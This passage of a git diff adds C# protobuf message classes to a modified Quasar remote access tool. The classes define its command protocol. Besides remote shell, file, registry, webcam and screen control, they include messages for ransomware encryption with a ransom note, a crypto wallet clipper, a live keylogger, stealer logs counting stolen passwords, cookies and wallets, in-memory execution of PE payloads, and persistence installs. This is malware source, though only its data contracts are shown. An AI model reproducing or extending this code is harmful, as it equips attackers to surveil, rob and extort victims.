b/Quasar-1.4.1/Quasar.Common/Messages/DoLoadRegistryKey.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoLoadRegistryKey : IMessage + { + [ProtoMember(1)] + public string RootKeyName { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoMouseEvent.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoMouseEvent.cs new file mode 100755 index 0000000..0f17a56 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoMouseEvent.cs @@ -0,0 +1,24 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoMouseEvent : IMessage + { + [ProtoMember(1)] + public MouseAction Action { get; set; } + + [ProtoMember(2)] + public bool IsMouseDown { get; set; } + + [ProtoMember(3)] + public int X { get; set; } + + [ProtoMember(4)] + public int Y { get; set; } + + [ProtoMember(5)] + public int MonitorIndex { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoPathCopy.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoPathCopy.cs new file mode 100755 index 0000000..2859867 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoPathCopy.cs @@ -0,0 +1,18 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoPathCopy : IMessage + { + [ProtoMember(1)] + public string SourcePath { get; set; } + + [ProtoMember(2)] + public string DestinationPath { get; set; } + + [ProtoMember(3)] + public FileType PathType { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoPathDelete.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoPathDelete.cs new file mode 100755 index 0000000..9e3ade8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoPathDelete.cs @@ -0,0 +1,15 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoPathDelete : IMessage + { + [ProtoMember(1)] + public string Path { get; set; } + + [ProtoMember(2)] + public FileType PathType { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoPathRename.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoPathRename.cs new file mode 100755 index 0000000..bc54b56 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoPathRename.cs @@ -0,0 +1,18 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoPathRename : IMessage + { + [ProtoMember(1)] + public string Path { get; set; } + + [ProtoMember(2)] + public string NewPath { get; set; } + + [ProtoMember(3)] + public FileType PathType { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoProcessEnd.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoProcessEnd.cs new file mode 100755 index 0000000..318ba21 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoProcessEnd.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoProcessEnd : IMessage + { + [ProtoMember(1)] + public int Pid { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoProcessResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoProcessResponse.cs new file mode 100755 index 0000000..8a35bad --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoProcessResponse.cs @@ -0,0 +1,15 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoProcessResponse : IMessage + { + [ProtoMember(1)] + public ProcessAction Action { get; set; } + + [ProtoMember(2)] + public bool Result { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoProcessStart.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoProcessStart.cs new file mode 100755 index 0000000..58d245f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoProcessStart.cs @@ -0,0 +1,29 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoProcessStart : IMessage + { + [ProtoMember(1)] + public string DownloadUrl { get; set; } + + [ProtoMember(2)] + public string FilePath { get; set; } + + [ProtoMember(3)] + public bool IsUpdate { get; set; } + + /// + /// When true, execute the payload bytes in memory without writing to disk. + /// + [ProtoMember(4)] + public bool ExecuteInMemory { get; set; } + + /// + /// Raw PE bytes to execute in memory. Only set when ExecuteInMemory is true. + /// + [ProtoMember(5)] + public byte[] Payload { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoRansomware.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoRansomware.cs new file mode 100755 index 0000000..a51c269 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoRansomware.cs @@ -0,0 +1,26 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoRansomware : IMessage + { + [ProtoMember(1)] + public string Action { get; set; } // "ENCRYPT" or "DECRYPT" + + [ProtoMember(2)] + public string EncryptionKey { get; set; } + + [ProtoMember(3)] + public string FileExtension { get; set; } + + [ProtoMember(4)] + public string RansomNote { get; set; } + + [ProtoMember(5)] + public bool ChangeWallpaper { get; set; } + + [ProtoMember(6)] + public string WallpaperText { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoRenameRegistryKey.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoRenameRegistryKey.cs new file mode 100755 index 0000000..d31ed92 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoRenameRegistryKey.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoRenameRegistryKey : IMessage + { + [ProtoMember(1)] + public string ParentPath { get; set; } + + [ProtoMember(2)] + public string OldKeyName { get; set; } + + [ProtoMember(3)] + public string NewKeyName { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoRenameRegistryValue.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoRenameRegistryValue.cs new file mode 100755 index 0000000..e6804df --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoRenameRegistryValue.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoRenameRegistryValue : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public string OldValueName { get; set; } + + [ProtoMember(3)] + public string NewValueName { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoShellExecute.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoShellExecute.cs new file mode 100755 index 0000000..e0b3636 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoShellExecute.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoShellExecute : IMessage + { + [ProtoMember(1)] + public string Command { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoShellExecuteResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoShellExecuteResponse.cs new file mode 100755 index 0000000..787857d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoShellExecuteResponse.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoShellExecuteResponse : IMessage + { + [ProtoMember(1)] + public string Output { get; set; } + + [ProtoMember(2)] + public bool IsError { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoShowMessageBox.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoShowMessageBox.cs new file mode 100755 index 0000000..dc9eb1e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoShowMessageBox.cs @@ -0,0 +1,20 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoShowMessageBox : IMessage + { + [ProtoMember(1)] + public string Caption { get; set; } + + [ProtoMember(2)] + public string Text { get; set; } + + [ProtoMember(3)] + public string Button { get; set; } + + [ProtoMember(4)] + public string Icon { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoShutdownAction.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoShutdownAction.cs new file mode 100755 index 0000000..4256f25 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoShutdownAction.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoShutdownAction : IMessage + { + [ProtoMember(1)] + public ShutdownAction Action { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoStartClipper.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoStartClipper.cs new file mode 100755 index 0000000..e03c737 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoStartClipper.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using System.Collections.Generic; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartClipper : IMessage + { + [ProtoMember(1)] + public Dictionary WalletAddresses { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoStartLiveKeylogger.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoStartLiveKeylogger.cs new file mode 100755 index 0000000..725634a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoStartLiveKeylogger.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartLiveKeylogger : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoStartupItemAdd.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoStartupItemAdd.cs new file mode 100755 index 0000000..b60db23 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoStartupItemAdd.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartupItemAdd : IMessage + { + [ProtoMember(1)] + public StartupItem StartupItem { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoStartupItemRemove.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoStartupItemRemove.cs new file mode 100755 index 0000000..44c67df --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoStartupItemRemove.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartupItemRemove : IMessage + { + [ProtoMember(1)] + public StartupItem StartupItem { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoStopClipper.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoStopClipper.cs new file mode 100755 index 0000000..1e5c394 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoStopClipper.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStopClipper : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoStopLiveKeylogger.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoStopLiveKeylogger.cs new file mode 100755 index 0000000..f5c1931 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoStopLiveKeylogger.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStopLiveKeylogger : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoSurvivalInstall.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoSurvivalInstall.cs new file mode 100755 index 0000000..46351c2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoSurvivalInstall.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoSurvivalInstall : IMessage + { + [ProtoMember(1)] + public byte[] FileBytes { get; set; } + + [ProtoMember(2)] + public string FileExtension { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoSurvivalUninstall.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoSurvivalUninstall.cs new file mode 100755 index 0000000..69d825c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoSurvivalUninstall.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoSurvivalUninstall : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoSystemOption.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoSystemOption.cs new file mode 100755 index 0000000..466c79f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoSystemOption.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoSystemOption : IMessage + { + [ProtoMember(1)] + public string Option { get; set; } + + [ProtoMember(2)] + public bool Enable { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoVisitWebsite.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoVisitWebsite.cs new file mode 100755 index 0000000..f895b87 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoVisitWebsite.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoVisitWebsite : IMessage + { + [ProtoMember(1)] + public string Url { get; set; } + + [ProtoMember(2)] + public bool Hidden { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoWebcamStart.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoWebcamStart.cs new file mode 100755 index 0000000..9eaead2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoWebcamStart.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoWebcamStart : IMessage + { + [ProtoMember(1)] + public int CameraIndex { get; set; } + + [ProtoMember(2)] + public int Quality { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoWebcamStop.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoWebcamStop.cs new file mode 100755 index 0000000..023c740 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoWebcamStop.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoWebcamStop : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/FileTransferCancel.cs b/Quasar-1.4.1/Quasar.Common/Messages/FileTransferCancel.cs new file mode 100755 index 0000000..f4e708e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/FileTransferCancel.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class FileTransferCancel : IMessage + { + [ProtoMember(1)] + public int Id { get; set; } + + [ProtoMember(2)] + public string Reason { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/FileTransferChunk.cs b/Quasar-1.4.1/Quasar.Common/Messages/FileTransferChunk.cs new file mode 100755 index 0000000..4da148a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/FileTransferChunk.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class FileTransferChunk : IMessage + { + [ProtoMember(1)] + public int Id { get; set; } + + [ProtoMember(2)] + public string FilePath { get; set; } + + [ProtoMember(3)] + public long FileSize { get; set; } + + [ProtoMember(4)] + public FileChunk Chunk { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/FileTransferComplete.cs b/Quasar-1.4.1/Quasar.Common/Messages/FileTransferComplete.cs new file mode 100755 index 0000000..8e8eeb2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/FileTransferComplete.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class FileTransferComplete : IMessage + { + [ProtoMember(1)] + public int Id { get; set; } + + [ProtoMember(2)] + public string FilePath { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/FileTransferRequest.cs b/Quasar-1.4.1/Quasar.Common/Messages/FileTransferRequest.cs new file mode 100755 index 0000000..3c9bfe7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/FileTransferRequest.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class FileTransferRequest : IMessage + { + [ProtoMember(1)] + public int Id { get; set; } + + [ProtoMember(2)] + public string RemotePath { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetActiveWindow.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetActiveWindow.cs new file mode 100755 index 0000000..b30e545 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetActiveWindow.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetActiveWindow : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetActiveWindowResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetActiveWindowResponse.cs new file mode 100755 index 0000000..8038ab8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetActiveWindowResponse.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetActiveWindowResponse : IMessage + { + [ProtoMember(1)] + public string WindowTitle { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetChangeRegistryValueResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetChangeRegistryValueResponse.cs new file mode 100755 index 0000000..ec55283 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetChangeRegistryValueResponse.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetChangeRegistryValueResponse : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public RegValueData Value { get; set; } + + [ProtoMember(3)] + public bool IsError { get; set; } + + [ProtoMember(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetConnections.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetConnections.cs new file mode 100755 index 0000000..02a0aff --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetConnections.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetConnections : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetConnectionsResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetConnectionsResponse.cs new file mode 100755 index 0000000..681a1ef --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetConnectionsResponse.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetConnectionsResponse : IMessage + { + [ProtoMember(1)] + public TcpConnection[] Connections { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetCreateRegistryKeyResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetCreateRegistryKeyResponse.cs new file mode 100755 index 0000000..e94f086 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetCreateRegistryKeyResponse.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetCreateRegistryKeyResponse : IMessage + { + [ProtoMember(1)] + public string ParentPath { get; set; } + + [ProtoMember(2)] + public RegSeekerMatch Match { get; set; } + + [ProtoMember(3)] + public bool IsError { get; set; } + + [ProtoMember(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetCreateRegistryValueResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetCreateRegistryValueResponse.cs new file mode 100755 index 0000000..7c9f110 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetCreateRegistryValueResponse.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetCreateRegistryValueResponse : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public RegValueData Value { get; set; } + + [ProtoMember(3)] + public bool IsError { get; set; } + + [ProtoMember(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetDeleteRegistryKeyResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetDeleteRegistryKeyResponse.cs new file mode 100755 index 0000000..27bd5f1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetDeleteRegistryKeyResponse.cs @@ -0,0 +1,20 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDeleteRegistryKeyResponse : IMessage + { + [ProtoMember(1)] + public string ParentPath { get; set; } + + [ProtoMember(2)] + public string KeyName { get; set; } + + [ProtoMember(3)] + public bool IsError { get; set; } + + [ProtoMember(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetDeleteRegistryValueResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetDeleteRegistryValueResponse.cs new file mode 100755 index 0000000..c9404e7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetDeleteRegistryValueResponse.cs @@ -0,0 +1,20 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDeleteRegistryValueResponse : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public string ValueName { get; set; } + + [ProtoMember(3)] + public bool IsError { get; set; } + + [ProtoMember(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetDesktop.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetDesktop.cs new file mode 100755 index 0000000..bea5621 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetDesktop.cs @@ -0,0 +1,35 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDesktop : IMessage + { + [ProtoMember(1)] + public bool CreateNew { get; set; } + + [ProtoMember(2)] + public int Quality { get; set; } + + [ProtoMember(3)] + public int DisplayIndex { get; set; } + + [ProtoMember(4)] + public bool StopStreaming { get; set; } + + [ProtoMember(5)] + public int FpsCap { get; set; } + + /// + /// UDP port on the server to send frame data to. 0 = use TCP fallback. + /// + [ProtoMember(6)] + public int UdpPort { get; set; } + + /// + /// Server IP/hostname the client should send UDP frames to. + /// + [ProtoMember(7)] + public string UdpHost { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetDesktopResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetDesktopResponse.cs new file mode 100755 index 0000000..ab9a62e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetDesktopResponse.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Video; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDesktopResponse : IMessage + { + [ProtoMember(1)] + public byte[] Image { get; set; } + + [ProtoMember(2)] + public int Quality { get; set; } + + [ProtoMember(3)] + public int Monitor { get; set; } + + [ProtoMember(4)] + public Resolution Resolution { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetDesktopUdpReady.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetDesktopUdpReady.cs new file mode 100755 index 0000000..ccbf711 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetDesktopUdpReady.cs @@ -0,0 +1,22 @@ +using ProtoBuf; +using Quasar.Common.Video; + +namespace Quasar.Common.Messages +{ + /// + /// Sent by the client over TCP once it has connected its UDP sender. + /// Carries codec metadata so the server can set up its decoder before UDP frames arrive. + /// + [ProtoContract] + public class GetDesktopUdpReady : IMessage + { + [ProtoMember(1)] + public int Quality { get; set; } + + [ProtoMember(2)] + public int Monitor { get; set; } + + [ProtoMember(3)] + public Resolution Resolution { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetDirectory.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetDirectory.cs new file mode 100755 index 0000000..11b83dc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetDirectory.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDirectory : IMessage + { + [ProtoMember(1)] + public string RemotePath { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetDirectoryResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetDirectoryResponse.cs new file mode 100755 index 0000000..4cff9ef --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetDirectoryResponse.cs @@ -0,0 +1,15 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDirectoryResponse : IMessage + { + [ProtoMember(1)] + public string RemotePath { get; set; } + + [ProtoMember(2)] + public FileSystemEntry[] Items { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetDrives.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetDrives.cs new file mode 100755 index 0000000..da5ea1d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetDrives.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDrives : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetDrivesResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetDrivesResponse.cs new file mode 100755 index 0000000..efe3ae6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetDrivesResponse.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDrivesResponse : IMessage + { + [ProtoMember(1)] + public Drive[] Drives { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetIntelixStealerLogs.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetIntelixStealerLogs.cs new file mode 100755 index 0000000..2e3030f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetIntelixStealerLogs.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetIntelixStealerLogs : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetIntelixStealerLogsResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetIntelixStealerLogsResponse.cs new file mode 100755 index 0000000..6ca44e6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetIntelixStealerLogsResponse.cs @@ -0,0 +1,35 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetIntelixStealerLogsResponse : IMessage + { + [ProtoMember(1)] + public byte[] ZipData { get; set; } + + [ProtoMember(2)] + public string Hwid { get; set; } + + [ProtoMember(3)] + public string PublicIp { get; set; } + + [ProtoMember(4)] + public string CountryCode { get; set; } + + [ProtoMember(5)] + public long PasswordCount { get; set; } + + [ProtoMember(6)] + public long CookieCount { get; set; } + + [ProtoMember(7)] + public int WalletCount { get; set; } + + [ProtoMember(8)] + public bool Success { get; set; } + + [ProtoMember(9)] + public string ErrorMessage { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetKeyloggerLogsDirectory.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetKeyloggerLogsDirectory.cs new file mode 100755 index 0000000..c3c0f45 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetKeyloggerLogsDirectory.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetKeyloggerLogsDirectory : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetKeyloggerLogsDirectoryResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetKeyloggerLogsDirectoryResponse.cs new file mode 100755 index 0000000..fa8d092 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetKeyloggerLogsDirectoryResponse.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetKeyloggerLogsDirectoryResponse : IMessage + { + [ProtoMember(1)] + public string LogsDirectory { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetMonitors.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetMonitors.cs new file mode 100755 index 0000000..93092e4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetMonitors.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetMonitors : 